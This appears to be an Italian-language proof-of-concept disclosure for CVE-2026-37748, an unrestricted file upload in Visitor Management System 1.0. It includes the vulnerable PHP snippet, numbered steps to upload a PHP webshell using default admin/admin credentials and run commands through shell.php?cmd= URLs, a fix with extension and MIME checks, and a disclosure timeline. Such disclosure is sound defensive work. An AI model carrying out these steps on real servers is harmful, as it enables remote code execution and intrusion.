
Proof-of-concept exploit per CVE-2026-37748, una vulnerabilità di upload file senza restrizioni in Visitor Management System 1.0 che porta all'esecuzione remota di codice tramite upload di webshell PHP.
| Campo | Informazioni |
|---|
| ID CVE | CVE-2026-37748 |
| Tipo | Upload di File Senza Restrizioni → Esecuzione di Codice Remoto |
| Gravità | Alta (CVSSv3: 7.2) |
| Venditore | sanjay1313 |
| Prodotto | Visitor Management System |
| Versione | 1.0 |
| Scopritore | Varad AP Mene |
| Data | 2026-04-16 |
| CWE | CWE-434 |
Esiste una vulnerabilità critica di Upload di File Senza Restrizioni in Visitor Management System 1.0 di sanjay1313. La funzione move_uploaded_file() in vms/php/admin_user_insert.php e vms/php/update_1.php viene chiamata senza alcuna validazione del tipo MIME, dell'estensione del file o del contenuto. Un amministratore autenticato può caricare una webshell PHP tramite il campo di upload dell'immagine e ottenere l'Esecuzione di Codice Remoto sul server accedendo direttamente al file caricato tramite URL.
ID CVE: CVE-2026-37748 CWE: CWE-434 — Upload Senza Restrizioni di File con Tipo Pericoloso CVSSv3: 7.2 Alta (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
Visitor Management System 1.0 è un'applicazione web PHP/MySQL di sanjay1313 su GitHub utilizzata per gestire i registri dei visitatori nelle organizzazioni.
URL del Venditore: https://github.com/sanjay1313/Visitor-Management-System
vms/php/admin_user_insert.php vms/php/update_1.php
$image = $_FILES['image']['name'];
$tmp = $_FILES['image']['tmp_name'];
move_uploaded_file($tmp, "../images/" . $image);
Nessuna validazione dell'estensione del file, del tipo MIME o del contenuto.
Passo 1 — Creare il file webshell shell.php:
Passo 2 — Accedere al pannello di amministrazione: http://target/vms/ Nome utente: admin Password: admin
Passo 3 — Caricare shell.php come immagine del profilo: Vai su Admin Users → Add New Admin Carica shell.php come foto del profilo
Passo 4 — Eseguire i comandi: http://target/vms/images/shell.php?cmd=id http://target/vms/images/shell.php?cmd=whoami
// 1. Validare l'estensione del file
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
die("Tipo di file non valido");
}
// 2. Validare il tipo MIME
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['image']['tmp_name']);
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mime)) {
die("Tipo MIME non valido");
}
// 3. Rinominare il file sul server
$new_name = uniqid() . '.' . $ext;
move_uploaded_file($_FILES['image']['tmp_name'], "../images/" . $new_name);
| Data | Evento |
|---|---|
| 2026-03-15 | Vulnerabilità scoperta |
| 2026-03-15 | Segnalata a MITRE |
| 2026-04-02 | CVE-2026-37748 assegnato |
| 2026-04-16 | Divulgazione pubblica |
| 2026-04-16 | MITRE informato della pubblicazione |
| 2026-04-17 | Venditore informato tramite GitHub Issues |
Varad Arachana Prashant Mene